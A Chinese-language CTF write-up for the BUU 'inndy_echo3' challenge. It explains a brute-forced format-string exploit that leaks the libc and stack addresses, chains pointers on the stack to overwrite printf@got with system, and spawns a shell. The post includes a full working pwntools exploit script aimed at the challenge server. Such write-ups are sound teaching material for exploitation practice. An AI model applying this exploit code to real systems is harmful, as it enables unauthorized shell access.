BUU-inndy_echo3-WP

Posted on Jan 16, 2021

虽然马上就要期末考了,我应该好好复习数分,但是还是没忍住,花了不少时间pwn了这题。

这是我做过的最麻烦的fmt,知识并没有新增,还是“搭跳板”,但是由于要爆破,之前就一直没做,今天突然想起来,莫名其妙的胸有成竹了起来,就试着pwn了一下

前置知识

不在栈上的格式化字符串利用方法。我写过两篇wp对此方法进行了分析,这里就不在说了

特点

栈被随机了

alloca是一个在栈上动态分配内存的函数,相比起malloc肯定是要快上不少,但是种种原因都使得这个函数不被建议使用,不过这毕竟是题目,也就不管太多了。buf是一个随机数,然后通过一段奇怪的表达式申请了内存

写个脚本跑跑看

#!/usr/bin/env python
# coding=utf-8
poss = set()
for i in range(0,1000000):
    poss.add(16*(((i & 0x3039) + 30)/0x10))
    poss = set(poss)

print list(poss)
# chuj @ cmp1 in ~/buu [14:31:45]
$ python echo3_test_possibility.py
[64, 8224, 48, 4128, 4160, 80, 12304, 4176, 4112, 32, 8272, 8208, 12336, 12368, 4144, 8240, 8256, 12352, 12320, 16]

发现结果是有限的,那么可以考虑爆破。

利用方法

准备工作

栈的结构是利用的关键,我们需要尽可能地还原,buu提供了libc,我们可以通过patchelf的方法实现libc版本的一致。在这篇文章里面我记录了详细的方法(主要是旧版本ld的编译和patchelf的使用)。

动调分析

alloca似乎是内联的,直接对esp进行sup,我们把断点下在这里,用set $eax=0x20的方式指定eax为32,作为我们爆破时期望的随机值(别的值也可以,0x20兼顾了查看栈的方便和较高的概率)。然后在在hardfmt函数中的printf处下断点,观察栈

蓝色框可以leak libc基地址,ebp指向的内存可以leak stack,橙色框提供了两个跳板,由于我们只有五次格式化字符串攻击的机会,就需要同时利用这两个链进行攻击。红色框中有两个高二字节为0x804的内存单元(和printf@got的高字节相同),我们利用橙框中的两个链修改这两个单元为&printf@got&printf@got + 2,就可以实现覆写printf@gotsystem,然后传入"/bin/sh\x00"就可以getshell了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

libc = ELF("./libcs/buu-32-libc.so")

while True:
    try:
        #sh = process("./echo3")
        sh = remote("node3.buuoj.cn",28897)
        sh.sendline("%43$p" + "libc_end" + "%18$p" + "stack_end")

        libc_base = int(sh.recvuntil("libc_end",drop = True),base =16) 
        libc_base -= (libc.symbols["__libc_start_main"] + 247)
        print "libc_base:\t" + hex(libc_base)# leak the libc_base
        got_addr = int(sh.recvuntil("stack_end",drop = True),base = 16) - 4 * (0x2a - 0x14)
        print "got_addr:\t" + hex(got_addr)# leak the got_addr

        payload = "%" + str(got_addr & 0xFFFF) + "c" + "%30$hn" # point to got
        payload += "%4c" + "%31$hn-end" # point to magic
        sh.sendline(payload)
        sh.recvuntil("-end")
        payload = "%" + str(0xA014) + "c" + "%87$hn" #change printf@got
        payload += "%2c" + "%85$hn-end" #change printf@got + 2
        sh.sendline(payload)
        sh.recvuntil("-end")
        # above got the ability to overwrite printf@got

        system = libc_base + libc.symbols["system"]
        if((system >> 16) > (system & 0xFFFF)):
            payload = '%' + str(system & 0xFFFF) + 'c' + "%20$hn"
            payload += '%' + str((system >> 16) - (system & 0xFFFF)) + 'c' + "%21$hn"
        else:
            payload = '%' + str(system >> 16) + 'c' + "%21$hn"
            payload += '%' + str((system & 0xFFFF) - (system >> 16)) + 'c' + "%20$hn"
        payload += "-end"
        print payload
        sh.sendline(payload)
        sh.recvuntil("-end")

        sh.sendline("/bin/sh\x00")
        sh.interactive()
    except:
        sh.close()
    else:
        sh.close()

最近比较忙,这篇wp就只简单的写了下思路,没有特别详细。

我终于做完echo系列的3道题啦!

特别感谢

主要参考了[Hackme.inndy]echo/echo2/echo3,从中我学到了很多。